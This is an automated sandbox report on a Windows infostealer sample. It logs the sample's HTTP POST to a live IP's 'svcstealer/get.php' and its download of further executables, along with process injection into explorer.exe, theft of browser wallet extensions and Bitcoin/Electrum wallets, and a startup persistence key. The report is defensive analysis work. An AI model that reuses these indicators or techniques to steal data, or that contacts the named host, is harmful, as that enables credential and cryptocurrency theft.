Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Jan. 18, 2025, 4:31 p.m.	Jan. 18, 2025, 4:35 p.m.

Size	1.2MB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`e2b9936f5b41295ba4ca23afae692813`
SHA256	`2c74e012e213dc721370aeed8f4932e677f28a95b3da7e3f94e74013f078f066`
CRC32	`8905C849`
ssdeep	`24576:ACCer7uT8MPvT0hLiKQ+Ijxqykg+Tzwl2KzK:/fr7uXr0hqjxqo`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature infoStealer_browser_b_Zero - browser info stealer IsPE64 - (no description) Generic_Malware_Zero - Generic Malware UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check

svc.exe "C:\Users\test22\AppData\Local\Temp\svc.exe"
2548
- temp_11786.exe "C:\Users\test22\AppData\Local\Temp\temp_11786.exe"
  2804
  - temp_11786.exe "C:\Users\test22\AppData\Local\Temp\temp_11786.exe"
    2976
- temp_11832.exe "C:\Users\test22\AppData\Local\Temp\temp_11832.exe"
  2884
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
185.81.68.147	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49162 -> 185.81.68.147:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.101:49162 -> 185.81.68.147:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 185.81.68.147:80 -> 192.168.56.101:49162	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 185.81.68.147:80 -> 192.168.56.101:49162	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49171 -> 185.81.68.147:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 185.81.68.147:80 -> 192.168.56.101:49171	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 185.81.68.147:80 -> 192.168.56.101:49171	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 185.81.68.147:80 -> 192.168.56.101:49171	2015588	ET HUNTING Suspicious Windows Executable WriteProcessMemory	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (4 events)

Time & API	Arguments	Status	Return
GetComputerNameW Jan. 18, 2025, 4:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2025, 4:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2025, 4:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 18, 2025, 4:31 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Jan. 18, 2025, 4:32 p.m.			0	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Jan. 18, 2025, 4:31 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	POST method with no referer header, Connection to IP address	suspicious_request	POST http://185.81.68.147/svcstealer/get.php
suspicious_features	Connection to IP address	suspicious_request	GET http://185.81.68.147/zx.exe
suspicious_features	Connection to IP address	suspicious_request	GET http://185.81.68.147/update.exe

Performs some HTTP requests (3 events)

request	POST http://185.81.68.147/svcstealer/get.php
request	GET http://185.81.68.147/zx.exe
request	GET http://185.81.68.147/update.exe

Sends data using the HTTP POST Method (1 event)

request

POST http://185.81.68.147/svcstealer/get.php

Allocates read-write-execute memory (usually to unpack itself) (6 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Jan. 18, 2025, 4:31 p.m.	process_identifier: 2548 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 18, 2025, 4:31 p.m.	process_identifier: 2884 region_size: 94208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001f10000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2025, 4:32 p.m.	process_identifier: 1452 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefd53a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2025, 4:32 p.m.	process_identifier: 1452 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076cac000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 18, 2025, 4:32 p.m.	process_identifier: 1452 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004740000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 18, 2025, 4:32 p.m.	process_identifier: 2976 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1

Steals private information from local Internet browsers (15 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kgdijkcfiglijhaglibaidbipiejjfdp\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfchfdkjhcoekhdldggegebfakaaiog\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ckklhkaabbmdjkahiaaplikpdddkenic\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oafedfoadhdjjcipmcbecikgokpaphjk\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnlhokffphohmfcddnibpohmkdfafdli\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfogiafebfohielmmehodmfbbebbbpei\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge\
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa\

Creates executable files on the filesystem (45 events)

file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-debug-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\libffi-7.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-localization-l1-2-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-heap-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\temp_11832.exe
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-stdio-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-timezone-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-convert-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-sysinfo-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-processthreads-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-process-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-conio-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-processthreads-l1-1-1.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\ucrtbase.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-math-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-console-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-memory-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-profile-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-file-l1-2-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-namedpipe-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-rtlsupport-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-environment-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-utility-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-string-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-datetime-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\libcrypto-1_1.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-synch-l1-2-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-libraryloader-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-synch-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-filesystem-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-util-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\python38.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-file-l2-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-errorhandling-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-locale-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-file-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-handle-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\temp_11786.exe
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-processenvironment-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-runtime-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-string-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-core-interlocked-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-time-l1-1-0.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\VCRUNTIME140.dll
file	C:\Users\test22\AppData\Local\Temp\_MEI28042\api-ms-win-crt-heap-l1-1-0.dll

Creates hidden or system file (2 events)

Time & API	Arguments	Status	Return	Repeated
SetFileAttributesW Jan. 18, 2025, 4:32 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\Users\test22\AppData\Roaming\03BD451ED4621855818353 filepath: C:\Users\test22\AppData\Roaming\03BD451ED4621855818353	1	1	0
SetFileAttributesW Jan. 18, 2025, 4:32 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\Users\test22\AppData\Roaming\03BD451ED4621855818353\03BD451ED4621855818353.exe filepath: C:\Users\test22\AppData\Roaming\03BD451ED4621855818353\03BD451ED4621855818353.exe	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (8 events)

Time & API	Arguments	Status	Return
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000000b8 process_name: sdclt.exe process_identifier: 2380	1	1
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000000b8 process_name: svc.exe process_identifier: 2548	1	1
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: WmiPrvSE.exe process_identifier: 2680	1	1
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000158 process_name: process_identifier: 1060439344		0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000003d8 process_name: temp_11786.exe process_identifier: 2804	1	1
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000003d8 process_name: inject-x64.exe process_identifier: 2828	1	1
Process32NextW Jan. 18, 2025, 4:32 p.m.	snapshot_handle: 0x0000000000000374 process_name: temp_11786.exe process_identifier: 2976	1	1
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000009c process_name: temp_11832.exe process_identifier: 2884	1	1

An executable file was downloaded by the process svc.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile Jan. 18, 2025, 4:31 p.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ £XhcðXhcðXhcð`ñ_hcðfñìhcðgñRhcðëð[hcðë`ñQhcðëgñIhcðëfñphcðbñShcðXhbðÉhcðKìgñAhcðKìañYhcðRichXhcðPEd³égð"(XÐÀ@ ^>[`ÁlÇxô`"hÀ@°P.text `.rdataB&°(@@.dataØsàÀ@À.pdata"`$Î@@.rsrcôöò@@.relochè@BHì(è/áHîÏè'áHHÝÏHHH ÒÏHÄ(é¹$ÌÌÌÌÌÌÌÌÌHqCÃÌÌÌÌÌÌÌÌH\$Hl$ LD$VWATAUAWHì Hò3íHý§DýIøHÙA½ÿÿÿÿèå.LàHÀuHVH Ú§èMéVE3ÀHIÌè7éÀyLFHä§H ¨èé¯Nè0LøHÀu DNLFH¨H ¦èXé~uMÏE3ÀHÖIÌèÌëW^Lt$PM÷HÛt;¸ DH;ØHûMÌA¸HGøIÎH×è^åHørhL÷¸ H+ßuÏÅH\|$`Lt$PÀtIÏèÓ/LýIÌèØáIïMÿtH×IÏèù.DèHÍèª/H\$XAÅHl$hHÄ A_A]A\_^ÃLFH!¦H N¦è}AÅëÌÌÌÌÌÌÌÌHT$HL$SUVWAVAWHì3ÀMðHÚHD$PHùHD$XA¸XHD$`H@¤D$(HL$ HD$ èIñèXDøÀt(HSDÀH #¤è¸ÿÿÿÿHÄA_A^_^][Ã¹ L¬$èç.LèHÀuLCH4¤H q¤è¸é\¹ è¹.HèHÀuLCHV¤H C¤èé.L¤$ÐA¿ÿÿÿÿDc¸ IÜL;àLÏºIÍHGØLÃèªãH;ÃæHÏè áÀÖL+ã\$(Ll$ f» Hl$03Ò\$8HL$ èøA¿ÿÿÿÿHùv\|øtrL$8H+ÙMöt)MÎLÃºHÍènêH;ÃuIÎèàÀtAÿëBHötLÃHÕHÎè}Hó\|$8{ÿÿÿÿtMätH¼$ÀéÿÿÿE3ÿë ¿ýÿÿÿH$ÈH {£HÂDÇèïL¤$ÐHL$ èmIÍèA-HÍè9-L¬$AÇHÄA_A^_^][ÃÌÌH\$ VAVAWHì HòHÙH¤E3öè +LøHÀu!HVH ¤èu3ÀH\$XHÄ A_A^^ÃVE3ÀHIÏèSåÀyLFH¤H 5¤è¤é»Nè§,LðHÀu DNLFH ¤H -¢èté~uMÎE3ÀHÖIÏèèüÿÿëc^Hl$@IîH\|$HLd$PHÛt8A¼ fDI;ÜHûMÏA¸IGüHÍH×ènáHørBHïH+ßuÔ3ÀH\|$HHl$@Ld$PÀtIÎèã+E3öIÏèèÝH\$XIÆHÄ A_A^^ÃLFHW¢H ¢è³¸ÿÿÿÿëªÌÌÌÌÌÌÌÌÌÌÌÌ@SWHì8znHúHÙu$èxúÿÿØÀyHWH _£èÃHÄ8_[ÃHn£Ld$`IÈèe)LàHÀu(LGHR£H £è6Ld$`¸ÿÿÿÿHÄ8_[ÃH2¢L\|$ HËè!)LøHÀuHWH ¢è»ÿÿÿÿéTWE3ÀHIÏènãÀy!LGH¢H P¢è¿»ÿÿÿÿéuE3ÉMÄH×IÏè.ûÿÿØéôLl$03ÛA½ Lt$(AÍèLðHÀu!LGHÂ H è^»ÿÿÿÿé§Ht$XwHöHl$P@ffI;õHîMÏA¸IGíIÎHÕènßHør1MÌA¸HÕIÎèæHørH+õu½ë,H¼ H é ëHl H LGèÄ»ÿÿÿÿHl$PIÎè®)Ht$XLl$0Lt$(IÏè§ÛIÌèÛL\|$ ÃLd$`HÄ8_[ÃH\$Ht$WHì HHòHùH;spfffD¶CA@¦¨÷t:Aødt4Aønt.Aøxt(HCLÆL+À¶B¶+ÑuHÿÀÉuíÒëHKHÖèí)Àt HØH;r3ÀH\$0Ht$8HÄ _ÃHt$8HÃH\$0HÄ _ÃÌÌÌÌÌÌ@SHì HHÇHÛtHè(HËHÄ [é(HÄ [ÃÌÌÌÌÌÌÌÌÌÌÌÌHÂÃÌÌÌÌÌÌÌÌÌÌH\$Hl$ WHìH7ÇH3ÄH$HYHé3ÛèK&HøHÀH ºH$H$A¸HÁèHÏH´$¨$è5]HðHÀ7E3ÀHÐHÏèoàÀyH H UèÄ é LÏHL$ ºXA¸èÝHøsH H _è é×º`¹èn'HØHÀuHûH ( è_ é¨LÍL ºHËèÓD$(H ÈD$(LL$8D$,LîÈD$,º@D$0ÈD$0D$4ÈD$4èD$(E3ÀH+ðHÏHFXHT$,HÐèhßL$0èÛ&HHÀuHH eè¬éõT$0LÏA¸HÈèîÛHøsH}H JèyéÂD$0HÏHHèÙÀtH gèÚ éHH;DâÄfo Rf3ÀAø\|óof8ÁóëfÉHÿÀHø\|ï¶JA¦¨÷tùdtùnt ùxt2Àë° ÀHÐH;rHÏè¶×H´$¨HÃH$H3ÌèL$I[ Ik(Iã_ÃÌÌÌÌÌÌÌÌÌÌLD$LL$ SUVWH request_handle: 0x0000000000cc0024	1	1	0

Repeatedly searches for a not-found process, you may want to run a web browser during analysis (50 out of 91 events)

Time & API	Arguments	Status	Return	Repeated
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000000b8 process_name: svc.exe process_identifier: 2548		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000000b8 process_name: svc.exe process_identifier: 2548		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000000b8 process_name: svc.exe process_identifier: 2548		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000000b8 process_name: svc.exe process_identifier: 2548		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: svc.exe process_identifier: 2548		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: svc.exe process_identifier: 2548		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: svc.exe process_identifier: 2548		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000001b8 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000158 process_name: process_identifier: 1060439344		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000002c8 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000002c8 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x00000000000002c8 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000030c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000030c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000030c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000030c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000310 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000310 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000310 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000310 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000320 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000320 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000320 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000320 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000320 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000320 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x000000000000031c process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000310 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000310 process_name: WmiPrvSE.exe process_identifier: 2680		0	0
Process32NextW Jan. 18, 2025, 4:31 p.m.	snapshot_handle: 0x0000000000000310 process_name: WmiPrvSE.exe process_identifier: 2680		0	0

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_BIOS

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: abd72abe1f826fcf770b9ac28bc795d8c59b33d7

Communicates with host for which no DNS query was performed (1 event)

host

185.81.68.147

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Jan. 18, 2025, 4:31 p.m.	process_identifier: 1452 region_size: 94208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004560000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000000000009c	1	0	0

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Services

reg_value

C:\Users\test22\AppData\Roaming\03BD451ED4621855818353\03BD451ED4621855818353.exe

Attempts to access Bitcoin/ALTCoin wallets (4 events)

file	C:\Users\test22\AppData\Roaming\Bitcoin\
file	C:\ProgramData\65EDB51284023538805469\Wallets\Bitcoin\
file	C:\Users\test22\AppData\Roaming\Electrum\wallets\
file	C:\ProgramData\65EDB51284023538805469\Wallets\Electrum\

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\temp_11786.exe
file	C:\Users\test22\AppData\Local\Temp\temp_11832.exe

Executes one or more WMI queries (2 events)

wmi	SELECT * FROM AntiVirusProduct
wmi	SELECT * FROM Win32_BIOS

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2884 created a remote thread in non-child process 1452
CreateRemoteThread Jan. 18, 2025, 4:32 p.m.	thread_identifier: 0 process_identifier: 1452 function_address: 0x0000000004561c58 flags: 0 stack_size: 0 parameter: 0x0000000004560000 process_handle: 0x000000000000009c	1	160	0

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2884 manipulating memory of non-child process 1452
NtAllocateVirtualMemory Jan. 18, 2025, 4:31 p.m.	process_identifier: 1452 region_size: 94208 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004560000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000000000000009c	1	0	0

File has been identified by 30 AntiVirus engines on VirusTotal as malicious (30 events)

Lionic	Trojan.Win32.Stealer.12!c
Cylance	Unsafe
Sangfor	Trojan.Win32.Agent.Vue2
CrowdStrike	win/malicious_confidence_70% (W)
BitDefender	Trojan.GenericKD.75433973
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (moderate confidence)
ESET-NOD32	a variant of Generik.HFFPMFS
APEX	Malicious
Kaspersky	Trojan-Spy.Win32.Stealer.fkny
Rising	Stealer.OskiStealer!1.C41E (CLASSIC)
DrWeb	Trojan.Siggen30.51451
